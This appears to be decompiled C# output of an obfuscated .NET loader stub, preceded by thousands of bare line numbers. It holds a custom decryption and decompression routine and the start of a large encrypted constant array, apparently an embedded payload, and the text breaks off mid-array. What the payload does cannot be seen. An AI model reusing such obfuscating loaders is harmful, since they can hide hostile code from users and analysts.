4139 4140 4141 4142 4143 4144 4145 4146 4147 4148 4149 4150 4151 4152 4153 4154 4155 4156 4157 4158 4159 4160 4161 4162 4163 4164 4165 4166 4167 4168 4169 4170 4171 4172 4173 4174 4175 4176 4177 4178 4179 4180 4181 4182 4183 4184 4185 4186 4187 4188 4189 4190 4191 4192 4193 4194 4195 4196 4197 4198 4199 4200 4201 4202 4203 4204 4205 4206 4207 4208 4209 4210 4211 4212 4213 4214 4215 4216 4217 4218 4219 4220 4221 4222 4223 4224 4225 4226 4227 4228 4229 4230 4231 4232 4233 4234 4235 4236 4237 4238 4239 4240 4241 4242 4243 4244 4245 4246 4247 4248 4249 4250 4251 4252 4253 4254 4255 4256 4257 4258 4259 4260 4261 4262 4263 4264 4265 4266 4267 4268 4269 4270 4271 4272 4273 4274 4275 4276 4277 4278 4279 4280 4281 4282 4283 4284 4285 4286 4287 4288 4289 4290 4291 4292 4293 4294 4295 4296 4297 4298 4299 4300 4301 4302 4303 4304 4305 4306 4307 4308 4309 4310 4311 4312 4313 4314 4315 4316 4317 4318 4319 4320 4321 4322 4323 4324 4325 4326 4327 4328 4329 4330 4331 4332 4333 4334 4335 4336 4337 4338 4339 4340 4341 4342 4343 4344 4345 4346 4347 4348 4349 4350 4351 4352 4353 4354 4355 4356 4357 4358 4359 4360 4361 4362 4363 4364 4365 4366 4367 4368 4369 4370 4371 4372 4373 4374 4375 4376 4377 4378 4379 4380 4381 4382 4383 4384 4385 4386 4387 4388 4389 4390 4391 4392 4393 4394 4395 4396 4397 4398 4399 4400 4401 4402 4403 4404 4405 4406 4407 4408 4409 4410 4411 4412 4413 4414 4415 4416 4417 4418 4419 4420 4421 4422 4423 4424 4425 4426 4427 4428 4429 4430 4431 4432 4433 4434 4435 4436 4437 4438 4439 4440 4441 4442 4443 4444 4445 4446 4447 4448 4449 4450 4451 4452 4453 4454 4455 4456 4457 4458 4459 4460 4461 4462 4463 4464 4465 4466 4467 4468 4469 4470 4471 4472 4473 4474 4475 4476 4477 4478 4479 4480 4481 4482 4483 4484 4485 4486 4487 4488 4489 4490 4491 4492 4493 4494 4495 4496 4497 4498 4499 4500 4501 4502 4503 4504 4505 4506 4507 4508 4509 4510 4511 4512 4513 4514 4515 4516 4517 4518 4519 4520 4521 4522 4523 4524 4525 4526 4527 4528 4529 4530 4531 4532 4533 4534 4535 4536 4537 4538 4539 4540 4541 4542 4543 4544 4545 4546 4547 4548 4549 4550 4551 4552 4553 4554 4555 4556 4557 4558 4559 4560 4561 4562 4563 4564 4565 4566 4567 4568 4569 4570 4571 4572 4573 4574 4575 4576 4577 4578 4579 4580 4581 4582 4583 4584 4585 4586 4587 4588 4589 4590 4591 4592 4593 4594 4595 4596 4597 4598 4599 4600 4601 4602 4603 4604 4605 4606 4607 4608 4609 4610 4611 4612 4613 4614 4615 4616 4617 4618 4619 4620 4621 4622 4623 4624 4625 4626 4627 4628 4629 4630 4631 4632 4633 4634 4635 4636 4637 4638 4639 4640 4641 4642 4643 4644 4645 4646 4647 4648 4649 4650 4651 4652 4653 4654 4655 4656 4657 4658 4659 4660 4661 4662 4663 4664 4665 4666 4667 4668 4669 4670 4671 4672 4673 4674 4675 4676 4677 4678 4679 4680 4681 4682 4683 4684 4685 4686 4687 4688 4689 4690 4691 4692 4693 4694 4695 4696 4697 4698 4699 4700 4701 4702 4703 4704 4705 4706 4707 4708 4709 4710 4711 4712 4713 4714 4715 4716 4717 4718 4719 4720 4721 4722 4723 4724 4725 4726 4727 4728 4729 4730 4731 4732 4733 4734 4735 4736 4737 4738 4739 4740 4741 4742 4743 4744 4745 4746 4747 4748 4749 4750 4751 4752 4753 4754 4755 4756 4757 4758 4759 4760 4761 4762 4763 4764 4765 4766 4767 4768 4769 4770 4771 4772 4773 4774 4775 4776 4777 4778 4779 4780 4781 4782 4783 4784 4785 4786 4787 4788 4789 4790 4791 4792 4793 4794 4795 4796 4797 4798 4799 4800 4801 4802 4803 4804 4805 4806 4807 4808 4809 4810 4811 4812 4813 4814 4815 4816 4817 4818 4819 4820 4821 4822 4823 4824 4825 4826 4827 4828 4829 4830 4831 4832 4833 4834 4835 4836 4837 4838 4839 4840 4841 4842 4843 4844 4845 4846 4847 4848 4849 4850 4851 4852 4853 4854 4855 4856 4857 4858 4859 4860 4861 4862 4863 4864 4865 4866 4867 4868 4869 4870 4871 4872 4873 4874 4875 4876 4877 4878 4879 4880 4881 4882 4883 4884 4885 4886 4887 4888 4889 4890 4891 4892 4893 4894 4895 4896 4897 4898 4899 4900 4901 4902 4903 4904 4905 4906 4907 4908 4909 4910 4911 4912 4913 4914 4915 4916 4917 4918 4919 4920 4921 4922 4923 4924 4925 4926 4927 4928 4929 4930 4931 4932 4933 4934 4935 4936 4937 4938 4939 4940 4941 4942 4943 4944 4945 4946 4947 4948 4949 4950 4951 4952 4953 4954 4955 4956 4957 4958 4959 4960 4961 4962 4963 4964 4965 4966 4967 4968 4969 4970 4971 4972 4973 4974 4975 4976 4977 4978 4979 4980 4981 4982 4983 4984 4985 4986 4987 4988 4989 4990 4991 4992 4993 4994 4995 4996 4997 4998 4999 5000 5001 5002 5003 5004 5005 5006 5007 5008 5009 5010 5011 5012 5013 5014 5015 5016 5017 5018 5019 5020 5021 5022 5023 5024 5025 5026 5027 5028 5029 5030 5031 5032 5033 5034 5035 5036 5037 5038 5039 5040 5041 5042 5043 5044 5045 5046 5047 5048 5049 5050 5051 5052 5053 5054 5055 5056 5057 5058 5059 5060 5061 5062 5063 5064 5065 5066 5067 5068 5069 5070 5071 5072 5073 5074 5075 5076 5077 5078 5079 5080 5081 5082 5083 5084 5085 5086 5087 5088 5089 5090 5091 5092 5093 5094 5095 5096 5097 5098 5099 5100 5101 5102 5103 5104 5105 5106 5107 5108 5109 5110 5111 5112 5113 5114 5115 5116 5117 5118 5119 5120 5121 5122 5123 5124 5125 5126 5127 5128 5129 5130 5131 5132 5133 5134 5135 5136 5137 5138 5139 5140 5141 5142 5143 5144 5145 5146 5147 5148 5149 5150 5151 5152 5153 5154 5155 5156 5157 5158 5159 5160 5161 5162 5163 5164 5165 5166 5167 5168 5169 5170 5171 5172 5173 5174 5175 5176 5177 5178 5179 5180 5181 5182 5183 5184 5185 5186 5187 5188 5189 5190 5191 5192 5193 5194 5195 5196 5197 5198 5199 5200 5201 5202 5203 5204 5205 5206 5207 5208 5209 5210 5211 5212 5213 5214 5215 5216 5217 5218 5219 5220 5221 5222 5223 5224 5225 5226 5227 5228 5229 5230 5231 5232 5233 5234 5235 5236 5237 5238 5239 5240 5241 5242 5243 5244 5245 5246 5247 5248 5249 5250 5251 5252 5253 5254 5255 5256 5257 5258 5259 5260 5261 5262 5263 5264 5265 5266 5267 5268 5269 5270 5271 5272 5273 5274 5275 5276 5277 5278 5279 5280 5281 5282 5283 5284 5285 5286 5287 5288 5289 5290 5291 5292 5293 5294 5295 5296 5297 5298 5299 5300 5301 5302 5303 5304 5305 5306 5307 5308 5309 5310 5311 5312 5313 5314 5315 5316 5317 5318 5319 5320 5321 5322 5323 5324 5325 5326 5327 5328 5329 5330 5331 5332 5333 5334 5335 5336 5337 5338 5339 5340 5341 5342 5343 5344 5345 5346 5347 5348 5349 5350 5351 5352 5353 5354 5355 5356 5357 5358 5359 5360 5361 5362 5363 5364 5365 5366 5367 5368 5369 5370 5371 5372 5373 5374 5375 5376 5377 5378 5379 5380 5381 5382 5383 5384 5385 5386 5387 5388 5389 5390 5391 5392 5393 5394 5395 5396 5397 5398 5399 5400 5401 5402 5403 5404 5405 5406 5407 5408 5409 5410 5411 5412 5413 5414 5415 5416 5417 5418 5419 5420 5421 5422 5423 5424 5425 5426 5427 5428 5429 5430 5431 5432 5433 5434 5435 5436 5437 5438 5439 5440 5441 5442 5443 5444 5445 5446 5447 5448 5449 5450 5451 5452 5453 5454 5455 5456 5457 5458 5459 5460 5461 5462 5463 5464 5465 5466 5467 5468 5469 5470 5471 5472 5473 5474 5475 5476 5477 5478 5479 5480 5481 5482 5483 5484 5485 5486 5487 5488 5489 5490 5491 5492 5493 5494 5495 5496 5497 5498 5499 5500 5501 5502 5503 5504 5505 5506 5507 5508 5509 5510 5511 5512 5513 5514 5515 5516 5517 5518 5519 5520 5521 5522 5523 5524 5525 5526 5527 5528 5529 5530 5531 5532 5533 5534 5535 5536 5537 5538 5539 5540 5541 5542 5543 5544 5545 5546 5547 5548 5549 5550 5551 5552 5553 5554 5555 5556 5557 5558 5559 5560 5561 5562 5563 5564 5565 5566 5567 5568 5569 5570 5571 5572 5573 5574 5575 5576 5577 5578 5579 5580 5581 5582 5583 5584 5585 5586 5587 5588 5589 5590 5591 5592 5593 5594 5595 5596 5597 5598 5599 5600 5601 5602 5603 5604 5605 5606 5607 5608 5609 5610 5611 5612 5613 5614 5615 5616 5617 5618 5619 5620 5621 5622 5623 5624 5625 5626 5627 5628 5629 5630 5631 5632 5633 5634 5635 5636 5637 5638 5639 5640 5641 5642 5643 5644 5645 5646 5647 5648 5649 5650 5651 5652 5653 5654 5655 5656 5657 5658 5659 5660 5661 5662 5663 5664 5665 5666 5667 5668 5669 5670 5671 5672 5673 5674 5675 5676 5677 5678 5679 5680 5681 5682 5683 5684 5685 5686 5687 5688 5689 5690 5691 5692 5693 5694 5695 5696 5697 5698 5699 5700 5701 5702 5703 5704 5705 5706 5707 5708 5709 5710 5711 5712 5713 5714 5715 5716 5717 5718 5719 5720 5721 5722 5723 5724 5725 5726 5727 5728 5729 5730 5731 5732 5733 5734 5735 5736 5737 5738 5739 5740 5741 5742 5743 5744 5745 5746 5747 5748 5749 5750 5751 5752 5753 5754 5755 5756 5757 5758 5759 5760 5761 5762 5763 5764 5765 5766 5767 5768 5769 5770 5771 5772 5773 5774 5775 5776 5777 5778 5779 5780 5781 5782 5783 5784 5785 5786 5787 5788 5789 5790 5791 5792 5793 5794 5795 5796 5797 5798 5799 5800 5801 5802 5803 5804 5805 5806 5807 5808 5809 5810 5811 5812 5813 5814 5815 5816 5817 5818 5819 5820 5821 5822 5823 5824 5825 5826 5827 5828 5829 5830 5831 5832 5833 5834 5835 5836 5837 5838 5839 5840 5841 5842 5843 5844 5845 5846 5847 5848 5849 5850 5851 5852 5853 5854 5855 5856 5857 5858 5859 5860 5861 5862 5863 5864 5865 5866 5867 5868 5869 5870 5871 5872 5873 5874 5875 5876 5877 5878 5879 5880 5881 5882 5883 5884 5885 5886 5887 5888 5889 5890 5891 5892 5893 5894 5895 5896 5897 5898 5899 5900 5901 5902 5903 5904 5905 5906 5907 5908 5909 5910 5911 5912 5913 5914 5915 5916 5917 5918 5919 5920 5921 5922 5923 5924 5925 5926 5927 5928 5929 5930 5931 5932 5933 5934 5935 5936 5937 5938 5939 5940 5941 5942 5943 5944 5945 5946 5947 5948 5949 5950 5951 5952 5953 5954 5955 5956 5957 5958 5959 5960 5961 5962 5963 5964 5965 5966 5967 5968 5969 5970 5971 5972 5973 5974 5975 5976 5977 5978 5979 5980 5981 5982 5983 5984 5985 5986 5987 5988 5989 5990 5991 5992 5993 5994 5995 5996 5997 5998 5999 6000 6001 6002 6003 6004 6005 6006 6007 6008 6009 6010 6011 6012 6013 6014 6015 6016 6017 6018 6019 6020 6021 6022 6023 6024 6025 6026 6027 6028 6029 6030 6031 6032 6033 6034 6035 6036 6037 6038 6039 6040 6041 6042 6043 6044 6045 6046 6047 6048 6049 6050 6051 6052 6053 6054 6055 6056 6057 6058 6059 6060 6061 6062 6063 6064 6065 6066 6067 6068 6069 6070 6071 6072 6073 6074 6075 6076 6077 6078 6079 6080 6081 6082 6083 6084 6085 6086 6087 6088 6089 6090 6091 6092 6093 6094 6095 6096 6097 6098 6099 6100 6101 6102 6103 6104 6105 6106 6107 6108 6109 6110 6111 6112 6113 6114 6115 6116 6117 6118 6119 6120 6121 6122 6123 6124 6125 6126 6127 6128 6129 6130 6131 6132 6133 6134 6135 6136 6137 6138 6139 6140 6141 6142 6143 6144 6145 6146 6147 6148 6149 6150 6151 6152 6153 6154 6155 6156 6157 6158 6159 6160 6161 6162 6163 6164 6165 6166 6167 6168 6169 6170 6171 6172 6173 6174 6175 6176 6177 6178 6179 6180 6181 6182 6183 6184 6185 6186 6187 6188 6189 6190 6191 6192 6193 6194 6195 6196 6197 6198 6199 6200 6201 6202 6203 6204 6205 6206 6207 6208 6209 6210 6211 6212 6213 6214 6215 6216 6217 6218 6219 6220 6221 6222 6223 6224 6225 6226 6227 6228 6229 6230 6231 6232 6233 6234 6235 6236 6237 6238 6239 6240 6241 6242 6243 6244 6245 6246 6247 6248 6249 6250 6251 6252 6253 6254 6255 6256 6257 6258 6259 6260 6261 6262 6263 6264 6265 6266 6267 6268 6269 6270 6271 6272 6273 6274 6275 6276 6277 6278 6279 6280 6281 6282 6283 6284 6285 6286 6287 6288 6289 6290 6291 6292 6293 6294 6295 6296 6297 6298 6299 6300 6301 6302 6303 6304 6305 6306 6307 6308 6309 6310 6311 6312 6313 6314 6315 6316 6317 6318 6319 6320 6321 6322 6323 6324 6325 6326 6327 6328 6329 6330 6331 6332 6333 6334 6335 6336 6337 6338 6339 6340 6341 6342 6343 6344 6345 6346 6347 6348 6349 6350 6351 6352 6353 6354 6355 6356 6357 6358 6359 6360 6361 6362 6363 6364 6365 6366 6367 6368 6369 6370 6371 6372 6373 6374 6375 6376 6377 6378 6379 6380 6381 6382 6383 6384 6385 6386 6387 6388 6389 6390 6391 6392 6393 6394 6395 6396 6397 6398 6399 6400 6401 6402 6403 6404 6405 6406 6407 6408 6409 6410 6411 6412 6413 6414 6415 6416 6417 6418 6419 6420 6421 6422 6423 6424 6425 6426 6427 6428 6429 6430 6431 6432 6433 6434 6435 6436 6437 6438 6439 6440 6441 6442 6443 6444 6445 6446 6447 6448 6449 6450 6451 6452 6453 6454 6455 6456 6457 6458 6459 6460 6461 6462 6463 6464 6465 6466 6467 6468 6469 6470 6471 6472 6473 6474 6475 6476 6477 6478 6479 6480 6481 6482 6483 6484 6485 6486 6487 6488 6489 6490 6491 6492 6493 6494 6495 6496 6497 6498 6499 6500 6501 6502 6503 6504 6505 6506 6507 6508 6509 6510 6511 6512 6513 6514 6515 6516 6517 6518 6519 6520 6521 6522 6523 6524 6525 6526 6527 6528 6529 6530 6531 6532 6533 6534 6535 6536 6537 6538 6539 6540 6541 6542 6543 6544 6545 6546 6547 6548 6549 6550 6551 6552 6553 6554 6555 6556 6557 6558 6559 6560 6561 6562 6563 6564 6565 6566 6567 6568 6569 6570 6571 6572 6573 6574 6575 6576 6577 6578 6579 6580 6581 6582 6583 6584 6585 6586 6587 6588 6589 6590 6591 6592 6593 6594 6595 6596 6597 6598 6599 6600 6601 6602 6603 6604 6605 6606 6607 6608 6609 6610 6611 6612 6613 6614 6615 6616 6617 6618 6619 6620 6621 6622 6623 6624 6625 6626 6627 6628 6629 6630 6631 6632 6633 6634 6635 6636 6637 6638 6639 6640 6641 6642 6643 6644 6645 6646 6647 6648 6649 6650 6651 6652 6653 6654 6655 6656 6657 6658 6659 6660 6661 6662 6663 6664 6665 6666 6667 6668 6669 6670 6671 6672 6673 6674 6675 6676 6677 6678 6679 6680 6681 6682 6683 6684 6685 6686 6687 6688 6689 6690 6691 6692 6693 6694 6695 6696 6697 6698 6699 6700 6701 6702 6703 6704 6705 6706 6707 6708 6709 6710 6711 6712 6713 6714 6715 6716 6717 6718 6719 6720 6721 6722 6723 6724 6725 6726 6727 6728 6729 6730 6731 6732 6733 6734 6735 6736 6737 6738 6739 6740 6741 6742 6743 6744 6745 6746 6747 6748 6749 6750 6751 6752 6753 6754 6755 6756 6757 6758 6759 6760 6761 6762 6763 6764 6765 6766 6767 6768 6769 6770 6771 6772 6773 6774 6775 6776 6777 6778 6779 6780 6781 6782 6783 6784 6785 6786 6787 6788 6789 6790 6791 6792 6793 6794 6795 6796 6797 6798 6799 6800 6801 6802 6803 6804 6805 6806 6807 6808 6809 6810 6811 6812 6813 6814 6815 6816 6817 6818 6819 6820 6821 6822 6823 6824 6825 6826 6827 6828 6829 6830 6831 6832 6833 6834 6835 6836 6837 6838 6839 6840 6841 6842 6843 6844 6845 6846 6847 6848 6849 6850 6851 6852 6853 6854 6855 6856 6857 6858 6859 6860 6861 6862 6863 6864 6865 6866 6867 6868 6869 6870 6871 6872 6873 6874 6875 6876 6877 6878 6879 6880 6881 6882 6883 6884 6885 6886 6887 6888 6889 6890 6891 6892 6893 6894 6895 6896 6897 6898 6899 6900 6901 6902 6903 6904 6905 6906 6907 6908 6909 6910 6911 6912 6913 6914 6915 6916 6917 6918 6919 6920 6921 6922 6923 6924 6925 6926 6927 6928 6929 6930 6931 6932 6933 6934 6935 6936 6937 6938 6939 6940 6941 6942 6943 6944 6945 6946 6947 6948 6949 6950 6951 6952 6953 6954 6955 6956 6957 6958 6959 6960 6961 6962 6963 6964 6965 6966 6967 6968 6969 6970 6971 6972 6973 6974 6975 6976 6977 6978 6979 6980 6981 6982 6983 6984 6985 6986 6987 6988 6989 6990 6991 6992 6993 6994 6995 6996 6997 6998 6999 7000 7001 7002 7003 7004 7005 7006 7007 7008 7009 7010 7011 7012 7013 7014 7015 7016 7017 7018 7019 7020 7021 7022 7023 7024 7025 7026 7027 7028 7029 7030 7031 7032 7033 7034 7035 7036 7037 7038 7039 7040 7041 7042 7043 7044 7045 7046 7047 7048 7049 7050 7051 7052 7053 7054 7055 7056 7057 7058 7059 7060 7061 7062 7063 7064 7065 7066 7067 7068 7069 7070 7071 7072 7073 7074 7075 7076 7077 7078 7079 7080 7081 7082 7083 7084 7085 7086 7087 7088 7089 7090 7091 7092 7093 7094 7095 7096 7097 7098 7099 7100 7101 7102 7103 7104 7105 7106 7107 7108 7109 7110 7111 7112 7113 7114 7115 7116 7117 7118 7119 7120 7121 7122 7123 7124 7125 7126 7127 7128 7129 7130 7131 7132 7133 7134 7135 7136 7137 7138 7139 7140 7141 7142 7143 7144 7145 7146 7147 7148 7149 7150 7151 7152 7153 7154 7155 7156 7157 7158 7159 7160 7161 7162 7163 7164 7165 7166 7167 7168 7169 7170 7171 7172 7173 7174 7175 7176 7177 7178 7179 7180 7181 7182 7183 7184 7185 7186 7187 7188 7189 7190 7191 7192 7193 7194 7195 7196 7197 7198 7199 7200 7201 7202 7203 7204 7205 7206 7207 7208 7209 7210 7211 7212 7213 7214 7215 7216 7217 7218 7219 7220 7221 7222 7223 7224 7225 7226 7227 7228 7229 7230 7231 7232 7233 7234 7235 7236 7237 7238 7239 7240 7241 7242 7243 7244 7245 7246 7247 7248 7249 7250 7251 7252 7253 7254 7255 7256 7257 7258 7259 7260 7261 7262 7263 7264 7265 7266 7267 7268 7269 7270 7271 7272 7273 7274 7275 7276 7277 7278 7279 7280 7281 7282 7283 7284 7285 7286 7287 7288 7289 7290 7291 7292 7293 7294 7295 7296 7297 7298 7299 7300 7301 7302 7303 7304 7305 7306 7307 7308 7309 7310 7311 7312 7313 7314 7315 7316 7317 7318 7319 7320 7321 7322 7323 7324 7325 7326 7327 7328 7329 7330 7331 7332 7333 7334 7335 7336 7337 7338 7339 7340 7341 7342 7343 7344 7345 7346 7347 7348 7349 7350 7351 7352 7353 7354 7355 7356 7357 7358 7359 7360 7361 7362 7363 7364 7365 7366 7367 7368 7369 7370 7371 7372 7373 7374 7375 7376 7377 7378 7379 7380 7381 7382 7383 7384 7385 7386 7387 7388 7389 7390 7391 7392 7393 7394 7395 7396 7397 7398 7399 7400 7401 7402 7403 7404 7405 7406 7407 7408 7409 7410 7411 7412 7413 7414 7415 7416 7417 7418 7419 7420 7421 7422 7423 7424 7425 7426 7427 7428 7429 7430 7431 7432 7433 7434 7435 7436 7437 7438 7439 7440 7441 7442 7443 7444 7445 7446 7447 7448 7449 7450 7451 7452 7453 7454 7455 7456 7457 7458 7459 7460 7461 7462 7463 7464 7465 7466 7467 7468 7469 7470 7471 7472 7473 7474 7475 7476 7477 7478 7479 7480 7481 7482 7483 7484 7485 7486 7487 7488 7489 7490 7491 7492 7493 7494 7495 7496 7497 7498 7499 7500 7501 7502 7503 7504 7505 7506 7507 7508 7509 7510 7511 7512 7513 7514 7515 7516 7517 7518 7519 7520 7521 7522 7523 7524 7525 7526 7527 7528 7529 7530 7531 7532 7533 7534 7535 7536 7537 7538 7539 7540 7541 7542 7543 7544 7545 7546 7547 7548 7549 7550 7551 7552 7553 7554 7555 7556 7557 7558 7559 7560 7561 7562 7563 7564 7565 7566 7567 7568 7569 7570 7571 7572 7573 7574 7575 7576 7577 7578 7579 7580 7581 7582 7583 7584 7585 7586 7587 7588 7589 7590 7591 7592 7593 7594 7595 7596 7597 7598 7599 7600 7601 7602 7603 7604 7605 7606 7607 7608 7609 7610 7611 7612 7613 7614 7615 7616 7617 7618 7619 7620 7621 7622 7623 7624 7625 7626 7627 7628 7629 7630 7631 7632 7633 7634 7635 7636 7637 7638 7639 7640 7641 7642 7643 7644 7645 7646 7647 7648 7649 7650 7651 7652 7653 7654 7655 7656 7657 7658 7659 7660 7661 7662 7663 7664 using System; using System.IO; using System.Reflection; using System.Runtime.InteropServices; using System.Text; // Token: 0x02000001 RID: 1 internal class <Module> { // Token: 0x06000001 RID: 1 RVA: 0x00008A88 File Offset: 0x00006C88 private static GCHandle Decrypt(uint[] A_0, uint A_1) { uint[] array = new uint[16]; uint[] array2 = new uint[16]; ulong num = (ulong)A_1; for (int i = 0; i < 16; i++) { num = num * num % 339722377UL; array2[i] = (uint)num; array[i] = (uint)(num * num % 1145919227UL); } array[0] = (array[0] * array2[0] ^ 3575996521U); array[1] = (array[1] * array2[1] ^ 3575996521U); array[2] = (array[2] + array2[2]) * 105751387U; array[3] = array[3] * array2[3] + 1392710451U; array[4] = (array[4] ^ array2[4]) + 1392710451U; array[5] = array[5] * array2[5] + 1392710451U; array[6] = (array[6] ^ array2[6] ^ 3575996521U); array[7] = (array[7] ^ array2[7]) + 1392710451U; array[8] = (array[8] ^ array2[8]) + 1392710451U; array[9] = (array[9] ^ array2[9]) * 105751387U; array[10] = (array[10] + array2[10]) * 105751387U; array[11] = (array[11] ^ array2[11]) + 1392710451U; array[12] = (array[12] ^ array2[12] ^ 3575996521U); array[13] = (array[13] + array2[13] ^ 3575996521U); array[14] = array[14] * array2[14] + 1392710451U; array[15] = array[15] + array2[15] + 1392710451U; Array.Clear(array2, 0, 16); byte[] array3 = new byte[A_0.Length << 2]; uint num2 = 0U; for (int j = 0; j < A_0.Length; j++) { uint num3 = A_0[j] ^ array[j & 15]; array[j & 15] = (array[j & 15] ^ num3) + 1037772825U; array3[(int)((UIntPtr)num2)] = (byte)num3; array3[(int)((UIntPtr)(num2 + 1U))] = (byte)(num3 >> 8); array3[(int)((UIntPtr)(num2 + 2U))] = (byte)(num3 >> 16); array3[(int)((UIntPtr)(num2 + 3U))] = (byte)(num3 >> 24); num2 += 4U; } Array.Clear(array, 0, 16); byte[] array4 = <Module>.Decompress(array3); Array.Clear(array3, 0, array3.Length); GCHandle result = GCHandle.Alloc(array4, GCHandleType.Pinned); ulong num4 = num % 9067703UL; for (int k = 0; k < array4.Length; k++) { byte[] array5 = array4; int num5 = k; array5[num5] ^= (byte)num; if ((k & 255) == 0) { num = num * num % 9067703UL; } } return result; } // Token: 0x06000002 RID: 2 RVA: 0x00008CE4 File Offset: 0x00006EE4 [STAThread] private static int Main(string[] A_0) { uint[] array = new uint[] { 1537738865U, 1969713899U, 4121852243U, 1363007655U, 4111316938U, 1354601424U, 1438092873U, 1354540248U, 2735911677U, 1902455886U, 4078724745U, 520461837U, 1818794620U, 257151687U, 1973759206U, 2522003516U, 2621073312U, 2052851248U, 700296147U, 1003515706U, 1333525621U, 1514734063U, 2173319522U, 424792444U, 2947179972U, 1293258800U, 3703394482U, 924811239U, 1209129814U, 4285749643U, 2893793886U, 2636066642U, 851455001U, 1557375254U, 1504330198U, 440723795U, 783000484U, 3258579615U, 3950440797U, 4147844992U, 3004977408U, 2513854905U, 1741895555U, 457309823U, 2663989355U, 2172644867U, 2415979810U, 1107499389U, 1300321912U, 2970947374U, 2039901191U, 269063898U, 361165153U, 1267824670U, 1517613281U, 1982962928U, 1348529444U, 1311760932U, 1670266918U, 2843446061U, 3720577995U, 757627428U, 2032447269U, 3478746641U, 543499722U, 3496222120U, 3826520958U, 1104841279U, 94025879U, 317196849U, 158692895U, 2803847257U, 333537168U, 4243354845U, 1896015587U, 1926205481U, 1939943201U, 9219932U, 4168927748U, 801738412U, 3628850579U, 35694855U, 3729552488U, 3089421455U, 1356449062U, 4251230152U, 2148889253U, 482263044U, 1511193317U, 2758968831U, 1816739601U, 2717147101U, 4040994365U, 1144031584U, 633715304U, 3266390795U, 1907049294U, 823923606U, 4081704455U, 1083142132U, 814898671U, 3129624260U, 1807860925U, 1633379657U, 475505861U, 2202122732U, 1609543999U, 1230950279U, 3513428425U, 3977970554U, 2716859708U, 2637181158U, 2277407989U, 2180164332U, 650569983U, 675947776U, 3634980589U, 425269305U, 3383324479U, 3492679244U, 3217104253U, 20271279U, 3591028349U, 3077180021U, 2226683726U, 2724629579U, 1586499589U, 2813079189U, 3353953861U, 1475948071U, 2034526662U, 276948815U, 2385983041U, 2402358230U, 3149933335U, 1885438814U, 983850256U, 564181982U, 1641982617U, 1112750498U, 2937523006U, 1469088991U, 627126841U, 3996202256U, 2259587460U, 996806736U, 2676647517U, 2438677955U, 1540948789U, 3254980559U, 1575834829U, 2564836590U, 1310854701U, 385667404U, 1651480338U, 3418939410U, 935000706U, 4171355745U, 3441987223U, 405454644U, 972481757U, 3953831287U, 1465885578U, 3796294345U, 2426861145U, 2637066688U, 2856251673U, 1588409098U, 77409825U, 2478204622U, 3812156764U, 1064570303U, 622223609U, 1924888936U, 3554542037U, 893068089U, 1483986021U, 2593528521U, 749203288U, 1393894157U, 1215297184U, 3362179274U, 2718476842U, 3208327151U, 94102635U, 1277815706U, 3444573396U, 3503731219U, 3326343731U, 3648639734U, 3703683942U, 3374921006U, 1043717242U, 3650883060U, 1392270619U, 469758847U, 2949305937U, 1788192022U, 278063185U, 837323114U, 3829346575U, 1005599432U, 1574186032U, 2644837940U, 4040593720U, 3104759267U, 1282461194U, 1521319983U, 2028227836U, 2604602757U, 713016361U, 2551254913U, 2457488405U, 1724472847U, 3914457692U, 2719813673U, 27192802U, 1470567397U, 3394165083U, 1007923785U, 3138988482U, 2577742520U, 58372657U, 3620956474U, 1913799228U, 3394210737U, 646305223U, 359850450U, 1034765942U, 1837702724U, 3009724247U, 2174202813U, 1992706173U, 3731699372U, 3862402829U, 4096166841U, 3986169057U, 923546490U, 438180424U, 1544448909U, 4023338538U, 1023104917U, 15021614U, 2639082781U, 4107914742U, 4157658158U, 2565578723U, 4072617281U, 3733074321U, 108768119U, 694515824U, 3737802405U, 2463943666U, 2708516273U, 1971213894U, 2653712958U, 338995387U, 1643473621U, 2357318157U, 2474541014U, 3857593041U, 2249999007U, 3147694507U, 3863804524U, 809773071U, 903053992U, 506378288U, 1160542709U, 1333725227U, 690632168U, 710569709U, 3263854979U, 1945470342U, 1376601486U, 714680310U, 3010181686U, 1690620473U, 719122251U, 1077760300U, 3160533372U, 1053520043U, 2556792223U, 481650493U, 3808107470U, 3472110396U, 2038428182U, 3179405624U, 3296641743U, 4236542496U, 1449925600U, 3706722240U, 1453126340U, 1586012380U, 2341111504U, 1564084467U, 399106871U, 3359130203U, 687172874U, 3810872337U, 272831905U, 223862487U, 915626651U, 1512179683U, 3347807833U, 3059583408U, 3353840800U, 4099853287U, 3234205960U, 2983718248U, 366463252U, 711509499U, 3325334570U, 1431018142U, 4216120169U, 2511593968U, 3543684883U, 3523064096U, 106357350U, 3810246630U, 2335099899U, 3424059021U, 3898568265U, 858015779U, 3082705723U, 761140972U, 1124861865U, 93396534U, 2335507490U, 242246325U, 3177033269U, 4123492040U, 996988269U, 3262888243U, 2832472585U, 645184668U, 583719923U, 3689867782U, 1309116934U, 2699977347U, 2161670666U, 2154333793U, 2891035169U, 366557302U, 2155549952U, 2260688556U, 868124210U, 651443282U, 2204797118U, 2096852990U, 1347528846U, 2983303797U, 1733571206U, 1788382482U, 2011501623U, 1140748785U, 3567318016U, 3181901443U, 2263794374U, 2494783289U, 94134265U, 3444198375U, 2937817832U, 3054022221U, 2619624955U, 2212348728U, 696562584U, 74960501U, 1240475346U, 1213448443U, 990552405U, 4057985421U, 2269474968U, 2136462033U, 642682980U, 2900892141U, 3652636260U, 172874525U, 3817343196U, 840758172U, 749155114U, 2696614550U, 3894951071U, 2618095853U, 755884299U, 2244452085U, 3227881484U, 3076805464U, 120345728U, 3398943682U, 3484427667U, 3123993150U, 2880398283U, 3712006148U, 2755176670U, 1029723198U, 2461383727U, 3360439458U, 4101802551U, 1033676457U, 451906606U, 3784387662U, 943215268U, 2003214157U, 2339009917U, 2317427899U, 3510652702U, 2947211111U, 3934683126U, 3945689594U, 1633245552U, 4037043161U, 614873526U, 2903408465U, 2886965126U, 2566297661U, 1561791950U, 924836668U, 2686438740U, 1846466565U, 3972781041U, 247225058U, 3011773442U, 2422828403U, 1833782168U, 1810548391U, 2897745874U, 2348654271U, 3803855476U, 3965689741U, 42483303U, 3916509912U, 3329230433U, 320480329U, 2230977206U, 54020580U, 26547081U, 990508761U, 2255533511U, 2923477945U, 1612423326U, 1467730186U, 3639812397U, 1305532969U, 2413712403U, 909775862U, 770971936U, 1523265470U, 3770864661U, 462183541U, 2630471696U, 3548820175U, 410504562U, 3181790402U, 4048009995U, 710338392U, 1027210383U, 1307317048U, 3301379420U, 3768246440U, 1173041687U, 3586680946U, 3864793213U, 690954821U, 3087756446U, 1563908040U, 2658180302U, 3847039299U, 1447480038U, 3907409559U, 1560367713U, 1775490471U, 913133805U, 2352251617U, 1966118140U, 3096993596U, 1487896682U, 1005872764U, 39447873U, 